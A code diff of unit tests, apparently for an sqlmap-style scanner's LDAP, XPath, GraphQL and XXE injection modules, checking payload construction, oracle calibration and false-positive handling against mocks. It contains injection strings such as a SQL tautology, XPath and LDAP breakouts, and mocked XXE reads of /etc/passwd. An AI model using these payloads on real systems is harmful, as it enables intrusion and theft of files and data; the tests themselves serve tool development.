||||
DIRECTORY = {"objectClass": "top", "uid": "admin", "mail": "bob", "cn": "Administrator"}
|
||||
|
||||
def setUp(self):
|
||||
self._sparams = conf.get("parameters")
|
||||
|
|
@ -876,6 +883,9 @@ class _LdapOracleCase(unittest.TestCase):
|
|||
conf.parameters = {PLACE.GET: "user=admin"}
|
||||
conf.paramDict = {PLACE.GET: {"user": "admin"}}
|
||||
conf.cookieDel = None
|
||||
# the boolean tests exercise the content-similarity path; null any explicit user oracle that
|
||||
# an earlier test module may have left set (the engines now honor --string/--regexp globally)
|
||||
conf.string = conf.notString = conf.regexp = conf.code = None
|
||||
|
||||
directory = self.DIRECTORY
|
||||
|
||||
|
|
@ -911,7 +921,9 @@ class TestLdapParamSegment(_LdapOracleCase):
|
|||
|
||||
class TestLdapOracle(_LdapOracleCase):
|
||||
def _oracle(self):
|
||||
return ldap._makeOracle(PLACE.GET, "user", "TRUE-CONTENT-stable-match-uid")
|
||||
# _makeOracle now recalibrates its own true/false models on the winning breakout + SENTINEL
|
||||
# base (matched (objectClass=*) vs (objectClass=<sentinel>)); pass the breakout, not a template
|
||||
return ldap._makeOracle(PLACE.GET, "user", ")")
|
||||
|
||||
def test_exists_true(self):
|
||||
oracle, builder = self._oracle(), ldap._ProbeBuilder(")")
|
||||
|
|
@ -935,9 +947,10 @@ class TestLdapOracle(_LdapOracleCase):
|
|||
|
||||
def test_enumerate_entry_keys(self):
|
||||
oracle, builder = self._oracle(), ldap._ProbeBuilder(")")
|
||||
keyAttr, values = ldap._enumerateEntryKeys(oracle, builder)
|
||||
keyAttr, values, partial = ldap._enumerateEntryKeys(oracle, builder)
|
||||
self.assertEqual(keyAttr, "uid")
|
||||
self.assertEqual(values, ["admin"])
|
||||
self.assertFalse(partial) # clean end, not an inconclusive abort
|
||||
|
||||
|
||||
class TestLdapBoolean(_LdapOracleCase):
|
||||
|
|
@ -1036,10 +1049,111 @@ class TestGraphqlPureHelpers(unittest.TestCase):
|
|||
# non-graphql passes through unchanged
|
||||
self.assertEqual(gql._slotValue("raw"), "raw")
|
||||
|
||||
def test_default_for_arg(self):
|
||||
self.assertEqual(gql._defaultForArg({"kind": "SCALAR", "name": "Int"}, None), 0)
|
||||
self.assertEqual(gql._defaultForArg({"kind": "SCALAR", "name": "String"}, None), "x")
|
||||
self.assertEqual(gql._defaultForArg({"kind": "SCALAR", "name": "String"}, "given"), "given")
|
||||
def _nn(self, inner):
|
||||
return {"kind": "NON_NULL", "ofType": inner}
|
||||
|
||||
def test_render_sibling_omits_optionals(self):
|
||||
# OPTIONAL argument (not NON_NULL) with no default -> OMITTED (None), never a bogus sentinel
|
||||
# that would invalidate the query and cause a false negative
|
||||
self.assertIsNone(gql._renderSibling("limit", {"kind": "SCALAR", "name": "Int"}, None))
|
||||
self.assertIsNone(gql._renderSibling("active", {"kind": "SCALAR", "name": "Boolean"}, None))
|
||||
self.assertIsNone(gql._renderSibling("tags", {"kind": "LIST"}, None))
|
||||
|
||||
def test_render_sibling_required_native_syntax(self):
|
||||
# REQUIRED (NON_NULL) argument with no default -> synthesize NATIVE syntax per kind
|
||||
self.assertEqual(gql._renderSibling("limit", self._nn({"kind": "SCALAR", "name": "Int"}), None), "limit:0")
|
||||
self.assertEqual(gql._renderSibling("q", self._nn({"kind": "SCALAR", "name": "String"}), None), 'q:"x"')
|
||||
self.assertEqual(gql._renderSibling("active", self._nn({"kind": "SCALAR", "name": "Boolean"}), None), "active:false")
|
||||
self.assertEqual(gql._renderSibling("ids", self._nn({"kind": "LIST", "ofType": {"kind": "SCALAR", "name": "Int"}}), None), "ids:[]")
|
||||
self.assertEqual(gql._renderSibling("cfg", self._nn({"kind": "INPUT_OBJECT", "name": "Cfg"}), None), "cfg:{}")
|
||||
|
||||
def test_required_nested_input_object_is_recursively_populated(self):
|
||||
# SearchInput!{ filter: FilterInput!{ term: String! (req), note: String (opt) } }: a required
|
||||
# nested input must populate its REQUIRED inner fields recursively, not emit a bare {} the
|
||||
# server rejects; optional inner fields are omitted
|
||||
gql._inputFields.clear()
|
||||
gql._inputFields["SearchInput"] = [("filter", self._nn({"kind": "INPUT_OBJECT", "name": "FilterInput"}), None)]
|
||||
gql._inputFields["FilterInput"] = [
|
||||
("term", self._nn({"kind": "SCALAR", "name": "String"}), None),
|
||||
("note", {"kind": "SCALAR", "name": "String"}, None),
|
||||
]
|
||||
try:
|
||||
out = gql._renderSibling("input", self._nn({"kind": "INPUT_OBJECT", "name": "SearchInput"}), None)
|
||||
self.assertEqual(out, 'input:{filter:{term:"x"}}') # required term populated, optional note omitted
|
||||
finally:
|
||||
gql._inputFields.clear()
|
||||
|
||||
def test_recursive_input_cycle_is_bounded(self):
|
||||
# a self-referential required input must not recurse forever - it terminates at {}
|
||||
gql._inputFields.clear()
|
||||
gql._inputFields["Node"] = [("child", self._nn({"kind": "INPUT_OBJECT", "name": "Node"}), None)]
|
||||
try:
|
||||
out = gql._renderSibling("n", self._nn({"kind": "INPUT_OBJECT", "name": "Node"}), None)
|
||||
self.assertTrue(out.startswith("n:{child:"))
|
||||
self.assertIn("{}", out) # cycle broken with a bare {}
|
||||
finally:
|
||||
gql._inputFields.clear()
|
||||
|
||||
def test_render_sibling_required_enum_uses_bare_identifier(self):
|
||||
gql._enumValues.clear()
|
||||
gql._enumValues["Role"] = ["ADMIN", "USER"]
|
||||
try:
|
||||
self.assertEqual(gql._renderSibling("role", self._nn({"kind": "ENUM", "name": "Role"}), None), "role:ADMIN")
|
||||
finally:
|
||||
gql._enumValues.clear()
|
||||
|
||||
def test_render_sibling_default_emitted_verbatim(self):
|
||||
# a schema defaultValue is ALREADY a serialized GraphQL literal -> emit VERBATIM, never re-quote
|
||||
self.assertEqual(gql._renderSibling("active", {"kind": "SCALAR", "name": "Boolean"}, "true"), "active:true")
|
||||
self.assertEqual(gql._renderSibling("role", {"kind": "ENUM", "name": "Role"}, "ADMIN"), "role:ADMIN")
|
||||
self.assertEqual(gql._renderSibling("ids", {"kind": "LIST"}, "[1, 2]"), "ids:[1, 2]")
|
||||
self.assertEqual(gql._renderSibling("filter", {"kind": "INPUT_OBJECT"}, "{a: 1}"), "filter:{a: 1}")
|
||||
self.assertEqual(gql._renderSibling("n", {"kind": "SCALAR", "name": "Int"}, "5"), "n:5")
|
||||
self.assertEqual(gql._renderSibling("q", {"kind": "SCALAR", "name": "String"}, '"hello"'), 'q:"hello"')
|
||||
|
||||
def _nnInput(self, name):
|
||||
return {"kind": "NON_NULL", "ofType": {"kind": "INPUT_OBJECT", "name": name}}
|
||||
|
||||
def test_deep_nested_input_slot_discovered_and_rendered(self):
|
||||
# search(input: SearchInput!{ filter: FilterInput!{ credentials: Creds!{ username: String! } } })
|
||||
# the injectable leaf is input.filter.credentials.username, THREE levels deep - it must be both
|
||||
# DISCOVERED as a slot and RENDERED as the full nested literal
|
||||
gql._inputFields.clear()
|
||||
gql._inputFields["SearchInput"] = [("filter", self._nnInput("FilterInput"), None)]
|
||||
gql._inputFields["FilterInput"] = [("credentials", self._nnInput("Creds"), None)]
|
||||
gql._inputFields["Creds"] = [("username", self._nn({"kind": "SCALAR", "name": "String"}), None)]
|
||||
try:
|
||||
slots = []
|
||||
gql._inputSlots("query", "Query", "search",
|
||||
[("input", self._nnInput("SearchInput"), None)],
|
||||
"input", self._nnInput("SearchInput"),
|
||||
"OBJECT", "User", "{ id }",
|
||||
{"SearchInput": {"kind": "INPUT_OBJECT", "name": "SearchInput", "inputFields": [{"name": "filter", "type": self._nnInput("FilterInput")}]},
|
||||
"FilterInput": {"kind": "INPUT_OBJECT", "name": "FilterInput", "inputFields": [{"name": "credentials", "type": self._nnInput("Creds")}]},
|
||||
"Creds": {"kind": "INPUT_OBJECT", "name": "Creds", "inputFields": [{"name": "username", "type": self._nn({"kind": "SCALAR", "name": "String"})}]}},
|
||||
slots)
|
||||
paths = [s.targetArg for s in slots]
|
||||
self.assertIn("input.filter.credentials.username", paths)
|
||||
|
||||
slot = [s for s in slots if s.targetArg == "input.filter.credentials.username"][0]
|
||||
q = gql._buildQuery(slot, "PWN")
|
||||
self.assertIn('input: {filter:{credentials:{username:"PWN"}}}', q)
|
||||
finally:
|
||||
gql._inputFields.clear()
|
||||
|
||||
def test_recursive_input_slot_cycle_bounded(self):
|
||||
# a self-referential input object must not loop forever during slot discovery
|
||||
gql._inputFields.clear()
|
||||
gql._inputFields["Node"] = [("child", self._nnInput("Node"), None), ("val", self._nn({"kind": "SCALAR", "name": "String"}), None)]
|
||||
try:
|
||||
slots = []
|
||||
tbn = {"Node": {"kind": "INPUT_OBJECT", "name": "Node", "inputFields": [
|
||||
{"name": "child", "type": self._nnInput("Node")}, {"name": "val", "type": self._nn({"kind": "SCALAR", "name": "String"})}]}}
|
||||
gql._inputSlots("mutation", "Mutation", "f", [("n", self._nnInput("Node"), None)],
|
||||
"n", self._nnInput("Node"), "OBJECT", "R", "{ id }", tbn, slots)
|
||||
self.assertTrue(any(s.targetArg.endswith(".val") for s in slots)) # terminates + finds a leaf
|
||||
finally:
|
||||
gql._inputFields.clear()
|
||||
|
||||
|
||||
# A minimal but realistic introspection schema: query user(id: String, limit: Int): User
|
||||
|
|
@ -1121,7 +1235,7 @@ class TestGraphqlQueryBuilding(unittest.TestCase):
|
|||
q = gql._buildQuery(self.strSlot, "x' OR '1'='1")
|
||||
self.assertTrue(q.startswith("{user:user("))
|
||||
self.assertIn('id:"x\' OR \'1\'=\'1"', q)
|
||||
self.assertIn("limit:0", q) # required-ish sibling defaulted
|
||||
self.assertNotIn("limit", q) # optional sibling with no default is OMITTED (P0-2)
|
||||
self.assertIn("{ name uid }", q)
|
||||
|
||||
def test_build_query_numeric_rejects_non_numeric(self):
|
||||
|
|
@ -1246,7 +1360,7 @@ class TestGraphqlDumpTable(unittest.TestCase):
|
|||
"(SELECT COUNT(*) %s)" % colFrom: "2",
|
||||
"(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id",
|
||||
"(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name",
|
||||
"(SELECT COUNT(*) FROM users)": "2",
|
||||
"(SELECT COUNT(*) FROM %s)" % d.fromIdent("users"): "2",
|
||||
d.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")),
|
||||
d.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")),
|
||||
}
|
||||
|
|
|
|||
|
|
@ -10,6 +10,7 @@ formatting can be exercised without a live target.
|
|||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
|
|
@ -181,6 +182,11 @@ class TestBooleanDetection(unittest.TestCase):
|
|||
|
||||
def test_detection_returns_extractable_boundary(self):
|
||||
def mock(place, parameter, value):
|
||||
# faithful XPath engine: string-length('ab')=2 holds (XPath-only confirm the detector
|
||||
# now requires), =3 does not; plus the true()/false() the break-out probes with
|
||||
m = re.search(r"string-length\('ab'\)=(\d+)", value)
|
||||
if m:
|
||||
return '{"count":7,"entries":[{...}]}' if int(m.group(1)) == 2 else '{"count":0,"entries":[],"error":null}'
|
||||
if "true()" in value:
|
||||
return '{"count":7,"entries":[{...}]}'
|
||||
elif "false()" in value:
|
||||
|
|
@ -218,6 +224,71 @@ class TestGridAndTable(unittest.TestCase):
|
|||
self.assertGreater(len(rows), 0)
|
||||
|
||||
|
||||
class TestExtractionCalibration(unittest.TestCase):
|
||||
def test_xpath_or_boundary_calibrates_with_sentinel_base(self):
|
||||
# for an OR-style boundary the extraction base is SENTINEL (not the original), and _makeOracle
|
||||
# must calibrate its true()/false() models on THAT base so they match the extraction payloads
|
||||
from lib.core.enums import PLACE
|
||||
orBoundary = xpath.Boundary("' or ", " and '1'='1", True)
|
||||
self.assertEqual(xpath._extractionBase("origvalue", orBoundary), xpath.SENTINEL)
|
||||
|
||||
sent = []
|
||||
|
||||
def spy(place, parameter, value):
|
||||
sent.append(value)
|
||||
return "TRUE-model-page" if "true()" in value else "FALSE-model-page"
|
||||
|
||||
old = xpath._send
|
||||
xpath._send = spy
|
||||
try:
|
||||
xpath.conf.parameters = {PLACE.GET: "q=x"}
|
||||
xpath.conf.paramDict = {PLACE.GET: {"q": "x"}}
|
||||
oracle = xpath._makeOracle(PLACE.GET, "q", orBoundary, xpath._extractionBase("origvalue", orBoundary))
|
||||
finally:
|
||||
xpath._send = old
|
||||
self.assertIsNotNone(oracle)
|
||||
self.assertTrue(sent)
|
||||
self.assertTrue(all(xpath.SENTINEL in p for p in sent), "calibration used a non-sentinel base: %r" % sent)
|
||||
self.assertFalse(any("origvalue" in p for p in sent))
|
||||
|
||||
def test_transient_failure_on_true_bit_is_not_a_false_bit(self):
|
||||
# A timeout/5xx on a TRUE predicate must NOT be cached as a false bit: resolveBit re-sends and
|
||||
# recovers the correct TRUE, and a PERSISTENT failure aborts (InconclusiveError), never False.
|
||||
from lib.core.enums import PLACE
|
||||
from lib.utils.nonsql import InconclusiveError
|
||||
orBoundary = xpath.Boundary("' or ", " and '1'='1", True)
|
||||
base = xpath._extractionBase("x", orBoundary)
|
||||
|
||||
state = {"armed": False, "failed": set()}
|
||||
|
||||
def flaky(place, parameter, value):
|
||||
page = "TRUE-model-page" if "true()" in value else "FALSE-model-page"
|
||||
# once armed (post-build), the FIRST send of each probe fails transiently, then recovers
|
||||
if state["armed"] and value not in state["failed"]:
|
||||
state["failed"].add(value)
|
||||
return None
|
||||
return page
|
||||
|
||||
old = xpath._send
|
||||
xpath._send = flaky
|
||||
try:
|
||||
xpath.conf.parameters = {PLACE.GET: "q=x"}
|
||||
xpath.conf.paramDict = {PLACE.GET: {"q": "x"}}
|
||||
oracle = xpath._makeOracle(PLACE.GET, "q", orBoundary, base) # calibrates cleanly
|
||||
self.assertIsNotNone(oracle)
|
||||
|
||||
# a fresh TRUE probe whose FIRST send fails transiently must resolve to True (retry), never False
|
||||
probe = xpath._makePayload(base, orBoundary, "true()") + "[1]"
|
||||
state["armed"] = True
|
||||
self.assertTrue(oracle.extract(probe))
|
||||
|
||||
# a PERSISTENTLY failing probe must raise InconclusiveError, never return False
|
||||
xpath._send = lambda place, parameter, value: None
|
||||
self.assertRaises(InconclusiveError, oracle.extract, probe + "Z")
|
||||
finally:
|
||||
xpath._send = old
|
||||
|
||||
|
||||
class TestExtraction(unittest.TestCase):
|
||||
def test_infer_value_mock(self):
|
||||
expected = "directory"
|
||||
|
|
@ -289,6 +360,48 @@ class TestExtraction(unittest.TestCase):
|
|||
maxLen=32)
|
||||
self.assertEqual(fast, linear)
|
||||
|
||||
def test_inconclusive_oracle_aborts_value_not_fabricates(self):
|
||||
# An oracle that stays INCONCLUSIVE (raises InconclusiveError, as resolveBit does after
|
||||
# retries) must abort the value cleanly - _inferString returns None and _inferCount returns
|
||||
# None (unknown) - rather than emitting a length/char/count chosen from an ambiguous bit.
|
||||
from lib.utils.nonsql import InconclusiveError
|
||||
boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"]
|
||||
builder = xpath._XPathPayloadBuilder("x", boundary)
|
||||
|
||||
class InconclusiveOracle(object):
|
||||
def extract(self, payload):
|
||||
raise InconclusiveError()
|
||||
|
||||
oracle = InconclusiveOracle()
|
||||
self.assertIsNone(xpath._inferString(oracle, builder, "name(/*)", maxLen=32))
|
||||
# inconclusive count must be None (unknown), NEVER 0 - 0 would read as a leaf and fabricate text
|
||||
self.assertIsNone(xpath._inferCount(oracle, builder, "/*",
|
||||
lambda b, p, c: b.childCount(p, c), maxCount=8))
|
||||
self.assertIsNone(xpath._inferValue(oracle, builder, "/*",
|
||||
lambda b, p, prefix: b.nameStartsWith(p, prefix), maxLen=32))
|
||||
|
||||
def test_walk_tree_marks_partial_and_does_not_fabricate_text_on_unknown_count(self):
|
||||
# name resolves (real lxml eval), but every child/attribute COUNT probe is inconclusive: the
|
||||
# node must be marked partial, must NOT be treated as a leaf (no fabricated scalar text), and
|
||||
# must not iterate phantom children
|
||||
from lib.utils.nonsql import InconclusiveError
|
||||
boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"]
|
||||
builder = xpath._XPathPayloadBuilder("x", boundary)
|
||||
template = _XPATH_TEMPLATES["function_arg"]
|
||||
|
||||
class PartialCountOracle(object):
|
||||
def extract(self, payload):
|
||||
if "count(" in payload:
|
||||
raise InconclusiveError() # child/attribute counts are ambiguous
|
||||
return _xpath_eval(template, payload) > 0 # names/strings resolve normally
|
||||
|
||||
node = xpath._walkTree(PartialCountOracle(), builder, "/*")
|
||||
self.assertIsNotNone(node)
|
||||
self.assertEqual(node["name"], "directory")
|
||||
self.assertTrue(node["partial"])
|
||||
self.assertIsNone(node["text"]) # unknown child count must NOT fabricate leaf text
|
||||
self.assertEqual(node["children"], [])
|
||||
|
||||
|
||||
class TestBackendFingerprint(unittest.TestCase):
|
||||
def test_lxml(self):
|
||||
|
|
|
|||
|
|
@ -88,18 +88,62 @@ class TestBuildDoctype(unittest.TestCase):
|
|||
self.assertEqual(out.count("<!DOCTYPE"), 1)
|
||||
self.assertIn("[", out)
|
||||
|
||||
def test_splice_survives_quoted_bracket_close_in_subset(self):
|
||||
# a ']>' sequence inside a quoted entity value must NOT be taken as the subset close - the
|
||||
# splice still lands inside the real internal subset and produces a single valid DOCTYPE
|
||||
xml = '<!DOCTYPE r [<!ENTITY a "x]>y">]><r>z</r>'
|
||||
out = xxe._buildDoctype(xml, "r", self.SUBSET)
|
||||
self.assertEqual(out.count("<!DOCTYPE"), 1)
|
||||
self.assertIn(self.SUBSET, out)
|
||||
# our subset must be spliced BEFORE the real subset close, i.e. before the document element
|
||||
self.assertLess(out.index(self.SUBSET), out.index("<r>z</r>"))
|
||||
|
||||
|
||||
class TestScanDoctype(unittest.TestCase):
|
||||
"""Lexical DOCTYPE scanner: boundaries must be immune to quoted '>', comments and ']>' in values."""
|
||||
|
||||
def test_no_doctype(self):
|
||||
self.assertIsNone(xxe._scanDoctype("<?xml version='1.0'?><r>x</r>"))
|
||||
|
||||
def test_content_start_skips_doctype_with_quoted_bracket(self):
|
||||
# ']>' inside the entity value is NOT the subset end; content starts after the REAL '>'
|
||||
xml = '<!DOCTYPE r [<!ENTITY a "]>trap">]><r>real</r>'
|
||||
cs = xxe._contentStart(xml)
|
||||
self.assertEqual(xml[cs:], "<r>real</r>")
|
||||
|
||||
def test_content_start_skips_doctype_with_comment(self):
|
||||
xml = '<!DOCTYPE r [<!-- ]> not the end --><!ELEMENT r ANY>]><r>real</r>'
|
||||
self.assertEqual(xml[xxe._contentStart(xml):], "<r>real</r>")
|
||||
|
||||
def test_text_node_count_ignores_dtd_bracket_in_value(self):
|
||||
# the '>text<'-looking fragment is inside the DTD entity value, not a body text node
|
||||
xml = '<!DOCTYPE r [<!ENTITY a "]>x">]><r><n>luther</n></r>'
|
||||
self.assertEqual(xxe._textNodeCount(xml), 1) # only <n>luther</n>
|
||||
|
||||
|
||||
class TestPlaceRef(unittest.TestCase):
|
||||
def test_all_text_nodes(self):
|
||||
def test_single_node_preserves_others(self):
|
||||
# ONE location per call - every OTHER value stays intact (no whole-document destruction)
|
||||
out = xxe._placeRef("<p><a>one</a><b>two</b></p>", "&e;")
|
||||
self.assertEqual(out.count("&e;"), 2)
|
||||
self.assertNotIn("one", out)
|
||||
self.assertNotIn("two", out)
|
||||
self.assertEqual(out.count("&e;"), 1)
|
||||
self.assertIn("&e;</a>", out) # default: first text node
|
||||
self.assertIn("two", out) # second field preserved
|
||||
|
||||
def test_attributes_only_when_requested(self):
|
||||
text = '<u id="1"><n>luther</n></u>'
|
||||
self.assertNotIn('id="&e;"', xxe._placeRef(text, "&e;")) # attrs off by default
|
||||
self.assertIn('id="&e;"', xxe._placeRef(text, "&e;", attrs=True)) # attrs on
|
||||
def test_index_sweeps_each_node(self):
|
||||
xml = "<p><a>one</a><b>two</b></p>"
|
||||
self.assertEqual(xxe._textNodeCount(xml), 2)
|
||||
out1 = xxe._placeRef(xml, "&e;", index=1)
|
||||
self.assertIn("&e;</b>", out1) # second text node targeted
|
||||
self.assertIn("one", out1) # first field preserved
|
||||
|
||||
def test_attribute_seeded_only_as_fallback(self):
|
||||
noText = '<u id="1"><c k="v"/></u>' # no leaf text node
|
||||
self.assertNotIn('="&e;"', xxe._placeRef(noText, "&e;")) # attrs off -> no seeding
|
||||
self.assertIn('="&e;"', xxe._placeRef(noText, "&e;", attrs=True)) # attrs on -> one attr seeded
|
||||
withText = '<u id="1"><n>luther</n></u>'
|
||||
seeded = xxe._placeRef(withText, "&e;", attrs=True)
|
||||
self.assertIn(">&e;<", seeded) # text node preferred over attr
|
||||
self.assertIn('id="1"', seeded) # attribute preserved
|
||||
|
||||
def test_xmlns_preserved(self):
|
||||
out = xxe._placeRef('<soap:E xmlns:soap="ns"><b>x</b></soap:E>', "&e;", attrs=True)
|
||||
|
|
@ -240,6 +284,25 @@ class TestReportMethod(unittest.TestCase):
|
|||
finally:
|
||||
conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep
|
||||
self.assertIn("Parameter: XML body (PUT)", captured[0])
|
||||
self.assertIn("Type: XXE injection", captured[0]) # default vuln type
|
||||
|
||||
def test_xxe_internal_entity_is_not_reported_as_xxe(self):
|
||||
# internal-only general-entity expansion is a parser-configuration weakness, NOT confirmed
|
||||
# XXE (which needs external resolution) - it must carry a distinct, weaker vuln type
|
||||
captured = []
|
||||
|
||||
class _Dumper(object):
|
||||
def singleString(self, data, content_type=None):
|
||||
captured.append(data)
|
||||
|
||||
old_dumper, old_method, old_beep = conf.get("dumper"), conf.get("method"), conf.get("beep")
|
||||
conf.dumper, conf.method, conf.beep = _Dumper(), "POST", False
|
||||
try:
|
||||
xxe._report("DTD/internal general entity expansion enabled", "&e;", vulnType="XML parser configuration")
|
||||
finally:
|
||||
conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep
|
||||
self.assertIn("Type: XML parser configuration", captured[0])
|
||||
self.assertNotIn("Type: XXE injection", captured[0])
|
||||
|
||||
|
||||
class TestHarvestFiles(unittest.TestCase):
|
||||
|
|
@ -298,6 +361,57 @@ class TestDetectionMocked(unittest.TestCase):
|
|||
payload, _ = xxe._tryInternal("<u><n>luther</n></u>", "u", baseline="Hello, luther!")
|
||||
self.assertIsNotNone(payload)
|
||||
|
||||
def test_inband_read_rejects_html_escaped_entity_reflection(self):
|
||||
# the app HTML-escapes the reflected entity reference (&<ent>;) between the markers: that is
|
||||
# reflection, NOT an expanded file read - the random entity name survives de-escaping, so it
|
||||
# must be rejected (the P0-5 false positive that fabricated 'file contents')
|
||||
import re as _re
|
||||
|
||||
def mock(body):
|
||||
m = _re.search(r"<!ENTITY (\w+) SYSTEM", body)
|
||||
ent = m.group(1) if m else "e"
|
||||
mk = _re.search(r'(\w{8})&' + _re.escape(ent) + r';(\w{8})', body) # markers around the ref
|
||||
if mk:
|
||||
m1, m2 = mk.group(1), mk.group(2)
|
||||
return "%s&%s;%s" % (m1, ent, m2) # ESCAPED reflection, not file content
|
||||
return "no match"
|
||||
|
||||
xxe._send = mock
|
||||
content, _ = xxe._tryInbandFileRead("<u><n>x</n></u>", "u", "/etc/passwd")
|
||||
self.assertIsNone(content)
|
||||
|
||||
def test_inband_read_accepts_genuine_expansion(self):
|
||||
# a genuine file read: the requested path returns real content, a NONEXISTENT path returns
|
||||
# something different -> the matched control passes and the content is accepted
|
||||
import re as _re
|
||||
|
||||
def mock(body):
|
||||
mk = _re.search(r'(\w{8})&\w+;(\w{8})', body)
|
||||
if not (mk and "SYSTEM" in body and "php://filter" not in body):
|
||||
return "nope"
|
||||
if "/etc/passwd" in body:
|
||||
return "%sroot:x:0:0:root:/root:/bin/bash%s" % (mk.group(1), mk.group(2))
|
||||
return "%s%s" % (mk.group(1), mk.group(2)) # nonexistent path -> empty between markers
|
||||
|
||||
xxe._send = mock
|
||||
content, _ = xxe._tryInbandFileRead("<u><n>x</n></u>", "u", "/etc/passwd")
|
||||
self.assertEqual(content, "root:x:0:0:root:/root:/bin/bash")
|
||||
|
||||
def test_inband_read_rejects_path_independent_placeholder(self):
|
||||
# P0-2: a gateway returns a FIXED placeholder for every path (real + nonexistent). The matched
|
||||
# control sees identical content and rejects it as not-genuine file contents.
|
||||
import re as _re
|
||||
|
||||
def mock(body):
|
||||
mk = _re.search(r'(\w{8})&\w+;(\w{8})', body)
|
||||
if not (mk and "SYSTEM" in body and "php://filter" not in body):
|
||||
return "nope"
|
||||
return "%s[external entity disabled]%s" % (mk.group(1), mk.group(2)) # same for ANY path
|
||||
|
||||
xxe._send = mock
|
||||
content, _ = xxe._tryInbandFileRead("<u><n>x</n></u>", "u", "/etc/passwd")
|
||||
self.assertIsNone(content)
|
||||
|
||||
def test_internal_echo_rejected(self):
|
||||
# endpoint mirrors the raw body back (never parses) -> must NOT be a hit
|
||||
xxe._send = lambda body: "You sent: %s" % body
|
||||
|
|
@ -309,6 +423,30 @@ class TestDetectionMocked(unittest.TestCase):
|
|||
payload, _ = xxe._tryInternal("<u><n>luther</n></u>", "u", baseline="already %s here" % xxe.SENTINEL)
|
||||
self.assertIsNone(payload)
|
||||
|
||||
def test_location_sweep_finds_non_first_leaf(self):
|
||||
# The first leaf is inside <id> which the (mock) app validates and strips; only the entity ref
|
||||
# placed in the SECOND leaf (<n>) survives and reflects. The sweep must try location #1 and the
|
||||
# engine must latch it so downstream read tiers reuse it - a fixed index=0 would be a false neg.
|
||||
xml = "<u><id>7</id><n>luther</n></u>"
|
||||
self.assertEqual(xxe._textNodeCount(xml), 2)
|
||||
|
||||
def mock(body):
|
||||
# reflect the sentinel only when the entity ref sits in the second leaf (<n>&ent;</n>);
|
||||
# a ref in the first leaf (<id>&ent;</id>) is validated away and never reflects
|
||||
return ("Hello, %s!" % xxe.SENTINEL) if re.search(r"<n>\s*&\w+;", body) else "Hello, !"
|
||||
|
||||
xxe._send = mock
|
||||
xxe._PLACE_INDEX = 0
|
||||
hit = None
|
||||
for i in xxe._sweepLocations(xml):
|
||||
payload, _ = xxe._tryInternal(xml, "u", baseline="Hello, luther!", index=i)
|
||||
if payload:
|
||||
hit = i
|
||||
break
|
||||
self.assertEqual(hit, 1)
|
||||
# location #0 alone (the default) must NOT reflect -> proves the sweep was necessary
|
||||
self.assertIsNone(xxe._tryInternal(xml, "u", baseline="Hello, luther!", index=0)[0])
|
||||
|
||||
def test_error_based_positive(self):
|
||||
xxe._send = lambda body: 'XML error: failed to load external entity "file:///%s/nonexistent"' % xxe.SENTINEL
|
||||
payload, page = xxe._tryError("<u><n>x</n></u>", "u")
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue